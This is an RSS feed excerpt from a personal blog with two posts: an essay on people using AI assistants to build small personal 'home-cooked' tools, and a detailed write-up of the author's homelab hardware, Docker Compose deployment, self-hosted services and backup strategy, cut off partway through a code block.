            <enclosure url="https://substackcdn.com/image/fetch/$s_!BhOG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[AI and Home-Cooked Software]]></title>
            <link>https://mrkaran.dev/posts/ai-home-cooked-software/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/ai-home-cooked-software/</guid>
            <pubDate>Sun, 05 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Everyone is worried that AI will replace programmers. They’re missing the real revolution: AI is turning everyone into one.
I’ve been noticing a new pattern: people with deep domain knowledge but no coding experience are now building their own tools. Armed with AI assistants, they can create custom workflows in a matter of days, bypassing traditional development cycles. Are these solutions production-ready? Not even close. But they solve urgent, specific problems, and that’s what matters. Tasks that once required weeks of specialized training are quickly becoming weekend projects.
This trend is happening even within the AI companies themselves. Anthropic, for example, shared how their own teams use Claude to accelerate their work. Crucially, this isn’t limited to developers. Their post details how non-technical staff now build their own solutions and create custom automations, providing a powerful real-world example of this new paradigm.
Home-Cooked Software#
Why search for a generic tool when you can build exactly what you need? This question leads to what I call ‘home-cooked software’: small, personal applications we build for ourselves, tailored to our specific needs. Robin Sloan beautifully describes building an app as making “a home-cooked meal,” while Maggie Appleton writes about “barefoot developers” creating software outside traditional industry structures.
What’s new isn’t the concept but the speed and accessibility. With AI, a custom export format, a specific workflow, or the perfect integration is now an afternoon’s work. We’re entering an unprecedented era where the barrier between wanting a tool and having it has nearly vanished.
But let’s be clear: the journey from a prototype to a production-ready application is as challenging as ever. In my experience, an AI can churn out a first draft in a few hours, which gets you surprisingly far. But the devil is in the details, and the last stretch of the journey – handling edge cases, ensuring security, and debugging subtle issues – can stretch into weeks. This distinction is crucial. AI isn’t replacing programmers; it’s creating millions of people who can build simple tools. There’s a significant difference.
The New Economics#
AI is fundamentally reshaping the economics of building software. Before AI, even a simple tool required a significant time investment in learning programming basics, understanding frameworks, and debugging. Only tools with broad appeal or critical importance justified the effort. Now, that effort is measured in hours, not months, and the primary barrier is no longer technical knowledge, but imagination and a clear understanding of one’s own needs.
This doesn’t apply to complex or security-critical systems, where deep expertise remains essential. But for the long tail of personal utilities, automation scripts, and custom workflows, the math has changed completely. I’m talking about solving all those minor irritations that pile up: the script to reformat a specific CSV export, the dashboard showing exactly the three metrics you care about, or a script that pulls data from a personal project management tool to sync with an obscure time-tracking app.
These tools might be held together with digital duct tape, but they solve real problems for real people. And increasingly, that’s all that matters.
The Hidden Costs#
But this newfound capability isn’t free. It comes with what I call the “AI Tax”: a set of hidden costs that are rarely discussed.
First, prompt engineering can be surprisingly time-consuming, especially for tasks of moderate complexity. While simple requests are often straightforward, anything more nuanced can become an iterative dialogue. You prompt, the AI generates a flawed output, you clarify the requirements, and it returns a new version that misses a different detail. It’s a classic 80/20 scenario: you get 80% of the way there with a simple prompt, but achieving the final 20% of correctness requires a disproportionate amount of effort in refining, correcting, and clarifying your intent to the model.
Second, there’s the verification burden. Every line of AI-generated code is a plausible-looking liability. It may pass basic tests, only to fail spectacularly in production with an edge case you never considered. AI learned from the public internet, which means it absorbed all the bad code along with the good. SQL injection vulnerabilities, hardcoded secrets, race conditions—an AI will happily generate them all with complete confidence.
Perhaps the most frustrating aspect is “hallucination debugging”: the uniquely modern challenge of troubleshooting plausible-looking code that relies on APIs or methods that simply don’t exist. Your codebase becomes a patchwork of different AI-generated styles and patterns. Six months later, it’s an archaeological exercise to determine which parts you wrote and which parts an AI contributed.
But the most significant danger is that AI enables you to build systems you don’t fundamentally understand. When that system inevitably breaks, you lack the foundational knowledge to debug it effectively.
Building for One#
Despite these challenges, there’s something profoundly liberating about building software just for yourself. Instead of just sketching out ideas, I’ve started building these small, specific tools. For this blog, I wanted a simple lightbox for images; instead of pulling in a heavy external library, I had Claude write a 50-line JavaScript snippet that did exactly what I needed. I built a simple, single-page compound interest calculator tailored for my own financial planning. To save myself from boilerplate at work, I created prom2grafana, a tool that uses an LLM to convert Prometheus metrics into Grafana dashboards.
Ten years ago, I might have thought about generalizing these tools, making them useful for others, perhaps even starting an open source project. Today? I just want a tool that works exactly how I think. I don’t need to handle anyone else’s edge cases or preferences. Home-cooked software doesn’t need product-market fit—it just needs to fit you.
We’re witnessing the emergence of a new software layer. At the base are the professionally-built, robust systems that power our world: databases, operating systems, and rock-solid frameworks. In the middle are commercial applications built for broad audiences. And at the top, a new layer is forming: millions of tiny, personal tools that solve individual problems in highly specific ways.
This top layer is messy, fragile, and often incomprehensible to anyone but its creator. It’s also incredibly empowering. Creating simple software is becoming as accessible as writing. And just as most writing isn’t professional literature, most of this new software won’t be professional-grade. That’s not just okay; it’s the point.
The implications are profound. Subject-matter experts can now solve their own problems without waiting for engineering resources, and tools can be hyper-personalized to a degree that is impossible for commercial software. This unlocks a wave of creativity, completely unconstrained by the need to generalize or find a market.
Yes, there are legitimate concerns. Security is a real risk, though the profile changes when a tool runs locally on personal data with no external access. We’re creating personal technical debt, but when a personal tool breaks, the owner is the only one affected. They can choose to fix it, rebuild it, or abandon it without impacting anyone else. Organizations, on the other hand, will soon have to grapple with the proliferation of incompatible personal tools and establish new patterns for managing them.
But these challenges pale in comparison to the opportunities. The barrier between user and creator is dissolving. We’re entering the age of home-cooked software, where building your own tool is becoming as natural as cooking your own meal.
The kitchen is open. What will you cook?]]></description>
            <content:encoded><![CDATA[<p>Everyone is worried that AI will replace programmers. They’re missing the real revolution: AI is turning everyone into one.</p>
<p>I’ve been noticing a new pattern: people with deep domain knowledge but no coding experience are now building their own tools. Armed with AI assistants, they can create custom workflows in a matter of days, bypassing traditional development cycles. Are these solutions production-ready? Not even close. But they solve urgent, specific problems, and that’s what matters. Tasks that once required weeks of specialized training are quickly becoming weekend projects.</p>
<p>This trend is happening even within the AI companies themselves. Anthropic, for example, shared how their own teams use Claude to accelerate their work. Crucially, this isn’t limited to developers. <a rel="external" href="https://www.anthropic.com/news/how-anthropic-teams-use-claude-code">Their post details how non-technical staff now build their own solutions</a> and create custom automations, providing a powerful real-world example of this new paradigm.</p>
<h2 id="home-cooked-software">Home-Cooked Software<a class="zola-anchor" href="#home-cooked-software" aria-label="Anchor link for: home-cooked-software">#</a></h2>
<p>Why search for a generic tool when you can build exactly what you need? This question leads to what I call ‘home-cooked software’: small, personal applications we build for ourselves, tailored to our specific needs. <a rel="external" href="https://www.robinsloan.com/notes/home-cooked-app/">Robin Sloan</a> beautifully describes building an app as making “a home-cooked meal,” while <a rel="external" href="https://maggieappleton.com/home-cooked-software/">Maggie Appleton</a> writes about “barefoot developers” creating software outside traditional industry structures.</p>
<p>What’s new isn’t the concept but the speed and accessibility. With AI, a custom export format, a specific workflow, or the perfect integration is now an afternoon’s work. We’re entering an unprecedented era where the barrier between wanting a tool and having it has nearly vanished.</p>
<p>But let’s be clear: the journey from a prototype to a production-ready application is as challenging as ever. In my experience, an AI can churn out a first draft in a few hours, which gets you surprisingly far. But the devil is in the details, and the last stretch of the journey – handling edge cases, ensuring security, and debugging subtle issues – can stretch into weeks. This distinction is crucial. AI isn’t replacing programmers; it’s creating millions of people who can build simple tools. There’s a significant difference.</p>
<h2 id="the-new-economics">The New Economics<a class="zola-anchor" href="#the-new-economics" aria-label="Anchor link for: the-new-economics">#</a></h2>
<p>AI is fundamentally reshaping the economics of building software. Before AI, even a simple tool required a significant time investment in learning programming basics, understanding frameworks, and debugging. Only tools with broad appeal or critical importance justified the effort. Now, that effort is measured in hours, not months, and the primary barrier is no longer technical knowledge, but imagination and a clear understanding of one’s own needs.</p>
<p>This doesn’t apply to complex or security-critical systems, where deep expertise remains essential. But for the long tail of personal utilities, automation scripts, and custom workflows, the math has changed completely. I’m talking about solving all those minor irritations that pile up: the script to reformat a specific CSV export, the dashboard showing exactly the three metrics you care about, or a script that pulls data from a personal project management tool to sync with an obscure time-tracking app.</p>
<p>These tools might be held together with digital duct tape, but they solve real problems for real people. And increasingly, that’s all that matters.</p>
<h2 id="the-hidden-costs">The Hidden Costs<a class="zola-anchor" href="#the-hidden-costs" aria-label="Anchor link for: the-hidden-costs">#</a></h2>
<p>But this newfound capability isn’t free. It comes with what I call the “AI Tax”: a set of hidden costs that are rarely discussed.</p>
<p>First, prompt engineering can be surprisingly time-consuming, especially for tasks of moderate complexity. While simple requests are often straightforward, anything more nuanced can become an iterative dialogue. You prompt, the AI generates a flawed output, you clarify the requirements, and it returns a new version that misses a different detail. It’s a classic 80/20 scenario: you get 80% of the way there with a simple prompt, but achieving the final 20% of correctness requires a disproportionate amount of effort in refining, correcting, and clarifying your intent to the model.</p>
<p>Second, there’s the verification burden. Every line of AI-generated code is a plausible-looking liability. It may pass basic tests, only to fail spectacularly in production with an edge case you never considered. AI learned from the public internet, which means it absorbed all the bad code along with the good. SQL injection vulnerabilities, hardcoded secrets, race conditions—an AI will happily generate them all with complete confidence.</p>
<p>Perhaps the most frustrating aspect is “hallucination debugging”: the uniquely modern challenge of troubleshooting plausible-looking code that relies on APIs or methods that simply don’t exist. Your codebase becomes a patchwork of different AI-generated styles and patterns. Six months later, it’s an archaeological exercise to determine which parts you wrote and which parts an AI contributed.</p>
<p>But the most significant danger is that AI enables you to build systems you don’t fundamentally understand. When that system inevitably breaks, you lack the foundational knowledge to debug it effectively.</p>
<h2 id="building-for-one">Building for One<a class="zola-anchor" href="#building-for-one" aria-label="Anchor link for: building-for-one">#</a></h2>
<p>Despite these challenges, there’s something profoundly liberating about building software just for yourself. Instead of just sketching out ideas, I’ve started building these small, specific tools. For this blog, I wanted a simple lightbox for images; instead of pulling in a heavy external library, I had Claude write a 50-line JavaScript snippet that did exactly what I needed. I built a simple, single-page <a rel="external" href="https://cagr.mrkaran.dev">compound interest calculator</a> tailored for my own financial planning. To save myself from boilerplate at work, I created <a rel="external" href="https://prom2grafana.mrkaran.dev">prom2grafana</a>, a tool that uses an LLM to convert Prometheus metrics into Grafana dashboards.</p>
<p>Ten years ago, I might have thought about generalizing these tools, making them useful for others, perhaps even starting an open source project. Today? I just want a tool that works exactly how I think. I don’t need to handle anyone else’s edge cases or preferences. Home-cooked software doesn’t need product-market fit—it just needs to fit you.</p>
<p>We’re witnessing the emergence of a new software layer. At the base are the professionally-built, robust systems that power our world: databases, operating systems, and rock-solid frameworks. In the middle are commercial applications built for broad audiences. And at the top, a new layer is forming: millions of tiny, personal tools that solve individual problems in highly specific ways.</p>
<p>This top layer is messy, fragile, and often incomprehensible to anyone but its creator. It’s also incredibly empowering. Creating simple software is becoming as accessible as writing. And just as most writing isn’t professional literature, most of this new software won’t be professional-grade. That’s not just okay; it’s the point.</p>
<p>The implications are profound. Subject-matter experts can now solve their own problems without waiting for engineering resources, and tools can be hyper-personalized to a degree that is impossible for commercial software. This unlocks a wave of creativity, completely unconstrained by the need to generalize or find a market.</p>
<p>Yes, there are legitimate concerns. Security is a real risk, though the profile changes when a tool runs locally on personal data with no external access. We’re creating personal technical debt, but when a personal tool breaks, the owner is the only one affected. They can choose to fix it, rebuild it, or abandon it without impacting anyone else. Organizations, on the other hand, will soon have to grapple with the proliferation of incompatible personal tools and establish new patterns for managing them.</p>
<p>But these challenges pale in comparison to the opportunities. The barrier between user and creator is dissolving. We’re entering the age of home-cooked software, where building your own tool is becoming as natural as cooking your own meal.</p>
<p>The kitchen is open. What will you cook?</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[State of My Homelab 2025]]></title>
            <link>https://mrkaran.dev/posts/state-homelab-2025/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/state-homelab-2025/</guid>
            <pubDate>Sat, 04 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Introduction#
For the past five years, I have maintained a homelab in various configurations. This journey has served as a practical exploration of different technologies, from Raspberry Pi clusters running K3s to a hybrid cloud setup and eventually a cloud-based Nomad setup. Each iteration provided valuable lessons, consistently highlighting the operational benefits of simplicity.
This article details the current state of my homelab. A primary motivation for this build was to dip my toes into “actual” homelabbing—that is, maintaining a physical server at home. The main design goal was to build a dedicated, reliable, and performant server that is easy to maintain. This led me to move away from complex container orchestrators like Kubernetes in favor of a more straightforward Docker Compose workflow. I will cover the hardware build, software architecture, and the rationale behind the key decisions.
Hardware Configuration#
After considerable research, I selected components to balance performance, power efficiency, and cost. The server is designed for 24/7 operation in a home environment, making noise and power consumption important considerations.
The Build#

ComponentChoicePrice

CPUAMD Ryzen 5 7600X (6-core, 4.7 GHz)$167.58
CPU CoolerARCTIC Liquid Freezer III Pro 360$89.99
MotherboardMSI B650M Gaming Plus WiFi$225.83
RAMKingston FURY Beast 32GB DDR5-6000$136.99
Boot DriveWD Blue SN580 500GB NVMe$88.76
Storage 1WD Red Plus 4TB (5400 RPM)$99.99
Storage 2Seagate IronWolf Pro 4TB (7200 RPM)$150.00
CaseASUS Prime AP201 MicroATX$89.99
PSUCorsair SF750 (80+ Platinum)$169.99
Total$1,219.12






Component Rationale#
CPU: The Ryzen 5 7600X provides a strong price-to-performance ratio. Its 6 cores offer ample headroom for concurrent containerized workloads and future experimentation.
Storage: The boot drive is a 500GB NVMe for fast OS and application performance. The primary storage consists of two 4TB HDDs in a BTRFS RAID 1 configuration. To mitigate the risk of correlated failures, I chose drives from different manufacturers (WD and Seagate) purchased at different times.
RAM: 32GB of DDR5-6000 provides sufficient memory for a growing number of services without risking contention.
Case & PSU: The ASUS Prime AP201 is a compact MicroATX case with a clean aesthetic suitable for a home office. The Corsair SF750 (80+ Platinum) PSU was chosen for its efficiency and to provide capacity for a future GPU for local LLM or transcoding workloads.
System Architecture & Deployment#
My previous setups involved Kubernetes and Nomad, but the operational overhead proved unnecessary for my use case. I have since standardized on a Git-based, Docker Compose workflow that prioritizes simplicity and transparency.
Directory Structure and “Stacks”#
The core of the system is a Git repository that holds all configurations. Each service is defined as a self-contained “stack” in its own directory. The structure is organized by machine, making it easy to manage multiple environments:
homelab/
├── deploy.sh                 # Main deployment script
├── justfile                  # Task runner for common commands
└── machines/
    ├── floyd-homelab-1/      # Primary home server
    │   ├── config.sh         # SSH and deployment settings
    │   └── stacks/
    │       ├── immich/
    │       │   └── docker-compose.yml
    │       └── paperless/
    │           └── docker-compose.yml
    └── floyd-pub-1/          # Public-facing VPS
        ├── config.sh
        └── stacks/
            ├── caddy/
            └── ntfy/
This modular approach allows me to manage each application’s configuration, including its docker-compose.yml and any related files, as an independent unit.
Deployment Workflow#
Deployments are handled by a custom deploy.sh script, with a justfile providing a convenient command-runner interface. The process is fundamentally simple:
Sync: rsync copies the specified stack’s directory from the local Git repository to a REMOTE_BASE_PATH (e.g., /opt/homelab) on the target machine.
Execute: ssh runs the appropriate docker compose command on the remote machine.
Each machine’s connection settings (SSH_HOST, SSH_USER, REMOTE_BASE_PATH) are defined in its machines/<name>/config.sh file. This file can also contain pre_deploy and post_deploy hooks for custom actions.
The justfile makes daily operations trivial:
# Deploy a single stack to a machine
just deploy-stack floyd-homelab-1 immich

# View the logs for a stack
just logs floyd-homelab-1 immich

# Test a deployment without making changes
just dry-run floyd-homelab-1

This system provides fine-grained control over deployments, with support for actions like up, down, restart, pull, and recreate (which also removes persistent volumes).
Container & Configuration Patterns#
To keep the system consistent, I follow a few key patterns:
Data Persistence: Instead of using Docker named volumes, I use host bind mounts. All persistent data for a service is stored in a dedicated directory on the host, typically /data/<service-name>. This makes backups and data management more transparent.
Reverse Proxy Network: The Caddy stack defines a shared Docker network called public_proxy. Other stacks that need to be exposed to the internet are configured to join this network. This allows Caddy to discover and proxy them without exposing their ports on the host machine. I have written about this pattern in detail in a previous post.
Port Exposure: Services behind the reverse proxy use the expose directive in their docker-compose.yml to make ports available to Caddy within the Docker network. I avoid binding ports directly with ports unless absolutely necessary.
Multi-Machine Topology#
The homelab comprises three distinct machines to provide isolation and redundancy.
floyd-homelab-1 (Primary Server): The core of the homelab, running on the AMD hardware detailed above. It runs data-intensive personal services (e.g., Immich, Paperless-ngx) and is accessible only via the Tailscale network.
floyd-pub-1 (Public VPS): A small cloud VPS that hosts public-facing services requiring high availability, such as DNS utilities, analytics, and notification relays.
floyd-monitor-public (Monitoring VPS): A small Hetzner VM running Gatus for health checks. Its independence ensures that I am alerted if the primary homelab or home network goes offline.
This distributed setup isolates my home network from the public internet and ensures that critical public services remain online even if the home server is down for maintenance.
Hosted Services#
The following is a breakdown of the services, or “stacks,” running on each machine. A few key services that are central to the homelab are detailed further in the next section.
floyd-homelab-1 (Primary Server)#
Actual: A local-first personal finance and budgeting tool.
Caddy: A powerful, enterprise-ready, open source web server with automatic HTTPS.
Gitea: A Git service for personal projects.
Glance: A dashboard for viewing all my feeds and data in one place.
Immich: A photo and video backup solution, directly from my mobile phone.
Karakeep: An app for bookmarking everything, with AI-based tagging and full-text search.
Owntracks: A private location tracker for recording my own location data.
Paperless-ngx: A document management system that transforms physical documents into a searchable online archive.
Silverbullet: A Markdown-based knowledge management and note-taking tool.
floyd-monitor-public (Monitoring VPS)#
Caddy: Reverse proxy for the services on this node.
floyd-pub-1 (Public VPS)#
Beszel-agent: The agent for the Beszel monitoring platform.
Caddy: Reverse proxy for the services on this node.
Cloak: A service to securely share sensitive text with others.
Doggo: A command-line DNS Client for Humans, written in Golang.
Ntfy: A self-hosted push notification service.
prom2grafana: A tool to convert Prometheus metrics to Grafana dashboards and alert rules using AI.
Umami: A simple, fast, privacy-focused alternative to Google Analytics.
Service Highlights#
Technitium: A Powerful DNS Server#
I came across Technitium DNS after seeing a recommendation from @oddtazz, and it has been a revelation. For anyone who wants more than just basic ad blocking from their DNS server, it’s a game-changer. It serves as both a recursive and authoritative server, meaning I don’t need a separate tool like unbound to resolve from root hints. The level of configuration is incredible—from DNSSEC, custom zones, and SOA records to fine-grained caching control.
The UI is a bit dated, but that’s a minor point for me given the raw power it provides. It is a vastly underrated tool for any homelabber who wants to go beyond Pi-hole or AdGuard Home.


Beszel: Lightweight Monitoring#
For a long time, I felt that monitoring a homelab meant spinning up a full Prometheus and Grafana stack. Beszel is the perfect antidote to that complexity. It provides exactly what I need for basic node monitoring—CPU, memory, disk, and network usage—in a simple, lightweight package.
It’s incredibly easy to set up and provides a clean, real-time view of my servers without the overhead of a more complex system. For a simple homelab monitoring setup, it’s hard to beat.


Gatus: External Health Checks#
While Beszel monitors the servers from the inside, Gatus watches them from the outside. Running on an independent Hetzner VM, its job is to ensure my services are reachable from the public internet. It validates HTTP status codes, response times, and more.
This separation is crucial; if my entire home network goes down, Gatus is still online to send an alert to my phone. It’s the final piece of the puzzle for robust monitoring, ensuring I know when things are broken even if the monitoring service itself is part of the outage.


Storage and Backup Strategy#
Data integrity and recoverability are critical. My strategy is built on layers of redundancy and encryption.
Storage: BTRFS RAID 1 + LUKS Encryption#
I chose BTRFS for its modern features:
Checksumming: Protects against silent data corruption.
Copy-on-Write: Enables instantaneous, low-cost snapshots.
Transparent Compression: zstd compression saves space without significant performance overhead.
The two 4TB drives are mirrored in a RAID 1 array, providing redundancy against a single drive failure. The entire array is encrypted using LUKS2, with the key stored on the boot SSD for automatic mounting. This protects data at rest in case of physical theft or drive disposal.
Mount options in /etc/fstab:
/dev/mapper/crypt-sda /mnt/storage btrfs defaults,noatime,compress=zstd 0 2
Backup: Restic + Cloudflare R2#
RAID does not protect against accidental deletion, file corruption, or catastrophic failure. My backup strategy follows the 3-2-1 rule.
Daily, automated backups are managed by systemd timers running restic. Backups are encrypted and sent to Cloudflare R2, providing an off-site copy. R2 was chosen for its zero-cost egress, which is a significant advantage for restores.
The backup script covers critical application data and the Docker Compose configurations:
BACKUP_PATHS=(
    "/mnt/storage"        # All application data
    "/home/karan/stacks"  # Docker Compose configs
)
Each backup run reports its status to a healthchecks.io endpoint, which sends a push notification on failure. I must appreciate its generous free tier, which is more than sufficient for my needs.


Conclusion#
This homelab represents a shift in philosophy from exploring complexity to valuing simplicity and reliability. The upfront hardware investment of ~$1,200 is offset by eliminating recurring cloud hosting costs and providing complete control over my data and services.
For those considering a homelab, my primary recommendation is to start with a simple, well-understood foundation. A reliable machine with a solid backup strategy is more valuable than a complex, hard-to-maintain cluster. The goal is to build a system that serves your needs, not one that you serve.]]></description>
            <content:encoded><![CDATA[<h2 id="introduction">Introduction<a class="zola-anchor" href="#introduction" aria-label="Anchor link for: introduction">#</a></h2>
<p>For the past five years, I have maintained a homelab in various configurations. This journey has served as a practical exploration of different technologies, from <a rel="external" href="https://mrkaran.dev/posts/home-server-setup/">Raspberry Pi clusters running K3s</a> to a <a rel="external" href="https://mrkaran.dev/posts/home-server-updates/">hybrid cloud setup</a> and eventually a <a rel="external" href="https://mrkaran.dev/posts/home-server-nomad/">cloud-based Nomad setup</a>. Each iteration provided valuable lessons, consistently highlighting the operational benefits of simplicity.</p>
<p>This article details the current state of my homelab. A primary motivation for this build was to dip my toes into “actual” homelabbing—that is, maintaining a physical server at home. The main design goal was to build a dedicated, reliable, and performant server that is easy to maintain. This led me to move away from complex container orchestrators like Kubernetes in favor of a more straightforward Docker Compose workflow. I will cover the hardware build, software architecture, and the rationale behind the key decisions.</p>
<h2 id="hardware-configuration">Hardware Configuration<a class="zola-anchor" href="#hardware-configuration" aria-label="Anchor link for: hardware-configuration">#</a></h2>
<p>After considerable research, I selected components to balance performance, power efficiency, and cost. The server is designed for 24/7 operation in a home environment, making noise and power consumption important considerations.</p>
<h3 id="the-build">The Build<a class="zola-anchor" href="#the-build" aria-label="Anchor link for: the-build">#</a></h3>
<table><thead><tr><th>Component</th><th>Choice</th><th>Price</th></tr></thead><tbody>
<tr><td><strong>CPU</strong></td><td>AMD Ryzen 5 7600X (6-core, 4.7 GHz)</td><td>$167.58</td></tr>
<tr><td><strong>CPU Cooler</strong></td><td>ARCTIC Liquid Freezer III Pro 360</td><td>$89.99</td></tr>
<tr><td><strong>Motherboard</strong></td><td>MSI B650M Gaming Plus WiFi</td><td>$225.83</td></tr>
<tr><td><strong>RAM</strong></td><td>Kingston FURY Beast 32GB DDR5-6000</td><td>$136.99</td></tr>
<tr><td><strong>Boot Drive</strong></td><td>WD Blue SN580 500GB NVMe</td><td>$88.76</td></tr>
<tr><td><strong>Storage 1</strong></td><td>WD Red Plus 4TB (5400 RPM)</td><td>$99.99</td></tr>
<tr><td><strong>Storage 2</strong></td><td>Seagate IronWolf Pro 4TB (7200 RPM)</td><td>$150.00</td></tr>
<tr><td><strong>Case</strong></td><td>ASUS Prime AP201 MicroATX</td><td>$89.99</td></tr>
<tr><td><strong>PSU</strong></td><td>Corsair SF750 (80+ Platinum)</td><td>$169.99</td></tr>
<tr><td><strong>Total</strong></td><td></td><td><strong>$1,219.12</strong></td></tr>
</tbody></table>
<div class="image-grid">
<a href="https://mrkaran.dev/images/homelab_2025_1_opt.jpg" class="lightbox-thumbnail"><img src="https://mrkaran.dev/images/homelab_2025_1_opt.jpg" alt="Homelab build in progress"></a>
<a href="https://mrkaran.dev/images/homelab_2025_2_opt.jpg" class="lightbox-thumbnail"><img src="https://mrkaran.dev/images/homelab_2025_2_opt.jpg" alt="Completed build with RGB and storage drives"></a>
<a href="https://mrkaran.dev/images/homelab_2025_3_opt.jpeg" class="lightbox-thumbnail"><img src="https://mrkaran.dev/images/homelab_2025_3_opt.jpeg" alt="MSI BIOS showing system information"></a>
</div>
<h3 id="component-rationale">Component Rationale<a class="zola-anchor" href="#component-rationale" aria-label="Anchor link for: component-rationale">#</a></h3>
<ul>
<li><strong>CPU</strong>: The Ryzen 5 7600X provides a strong price-to-performance ratio. Its 6 cores offer ample headroom for concurrent containerized workloads and future experimentation.</li>
<li><strong>Storage</strong>: The boot drive is a 500GB NVMe for fast OS and application performance. The primary storage consists of two 4TB HDDs in a <strong>BTRFS RAID 1</strong> configuration. To mitigate the risk of correlated failures, I chose drives from different manufacturers (WD and Seagate) purchased at different times.</li>
<li><strong>RAM</strong>: 32GB of DDR5-6000 provides sufficient memory for a growing number of services without risking contention.</li>
<li><strong>Case &amp; PSU</strong>: The ASUS Prime AP201 is a compact MicroATX case with a clean aesthetic suitable for a home office. The Corsair SF750 (80+ Platinum) PSU was chosen for its efficiency and to provide capacity for a future GPU for local LLM or transcoding workloads.</li>
</ul>
<h2 id="system-architecture-deployment">System Architecture &amp; Deployment<a class="zola-anchor" href="#system-architecture-deployment" aria-label="Anchor link for: system-architecture-deployment">#</a></h2>
<p>My previous setups involved Kubernetes and Nomad, but the operational overhead proved unnecessary for my use case. I have since standardized on a Git-based, Docker Compose workflow that prioritizes simplicity and transparency.</p>
<h3 id="directory-structure-and-stacks">Directory Structure and “Stacks”<a class="zola-anchor" href="#directory-structure-and-stacks" aria-label="Anchor link for: directory-structure-and-stacks">#</a></h3>
<p>The core of the system is a Git repository that holds all configurations. Each service is defined as a self-contained “stack” in its own directory. The structure is organized by machine, making it easy to manage multiple environments:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">homelab/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">├──</span><span style="color: light-dark(#032F62, #96D0FF);"> deploy.sh</span><span style="color: light-dark(#6A737D, #768390);">                 #</span><span style="color: light-dark(#6A737D, #768390);"> Main deployment script</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">├──</span><span style="color: light-dark(#032F62, #96D0FF);"> justfile</span><span style="color: light-dark(#6A737D, #768390);">                  #</span><span style="color: light-dark(#6A737D, #768390);"> Task runner for common commands</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">└──</span><span style="color: light-dark(#032F62, #96D0FF);"> machines/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> floyd-homelab-1/</span><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Primary home server</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    │</span><span style="color: light-dark(#032F62, #96D0FF);">   ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> config.sh</span><span style="color: light-dark(#6A737D, #768390);">         #</span><span style="color: light-dark(#6A737D, #768390);"> SSH and deployment settings</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    │</span><span style="color: light-dark(#032F62, #96D0FF);">   └──</span><span style="color: light-dark(#032F62, #96D0FF);"> stacks/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    │</span><span style="color: light-dark(#032F62, #96D0FF);">       ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> immich/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    │</span><span style="color: light-dark(#032F62, #96D0FF);">       │</span><span style="color: light-dark(#032F62, #96D0FF);">   └──</span><span style="color: light-dark(#032F62, #96D0FF);"> docker-compose.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    │</span><span style="color: light-dark(#032F62, #96D0FF);">       └──</span><span style="color: light-dark(#032F62, #96D0FF);"> paperless/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    │</span><span style="color: light-dark(#032F62, #96D0FF);">           └──</span><span style="color: light-dark(#032F62, #96D0FF);"> docker-compose.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    └──</span><span style="color: light-dark(#032F62, #96D0FF);"> floyd-pub-1/</span><span style="color: light-dark(#6A737D, #768390);">          #</span><span style="color: light-dark(#6A737D, #768390);"> Public-facing VPS</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> config.sh</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        └──</span><span style="color: light-dark(#032F62, #96D0FF);"> stacks/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">            ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> caddy/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">            └──</span><span style="color: light-dark(#032F62, #96D0FF);"> ntfy/</span></span></code></pre>
<p>This modular approach allows me to manage each application’s configuration, including its <code>docker-compose.yml</code> and any related files, as an independent unit.</p>
<h3 id="deployment-workflow">Deployment Workflow<a class="zola-anchor" href="#deployment-workflow" aria-label="Anchor link for: deployment-workflow">#</a></h3>
<p>Deployments are handled by a custom <code>deploy.sh</code> script, with a <code>justfile</code> providing a convenient command-runner interface. The process is fundamentally simple:</p>
<ol>
<li><strong>Sync</strong>: <code>rsync</code> copies the specified stack’s directory from the local Git repository to a <code>REMOTE_BASE_PATH</code> (e.g., <code>/opt/homelab</code>) on the target machine.</li>
<li><strong>Execute</strong>: <code>ssh</code> runs the appropriate <code>docker compose</code> command on the remote machine.</li>
</ol>
<p>Each machine’s connection settings (<code>SSH_HOST</code>, <code>SSH_USER</code>, <code>REMOTE_BASE_PATH</code>) are defined in its <code>machines/&lt;name&gt;/config.sh</code> file. This file can also contain <code>pre_deploy</code> and <code>post_deploy</code> hooks for custom actions.</p>
<p>The <code>justfile</code> makes daily operations trivial:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Deploy a single stack to a machine</span></span>
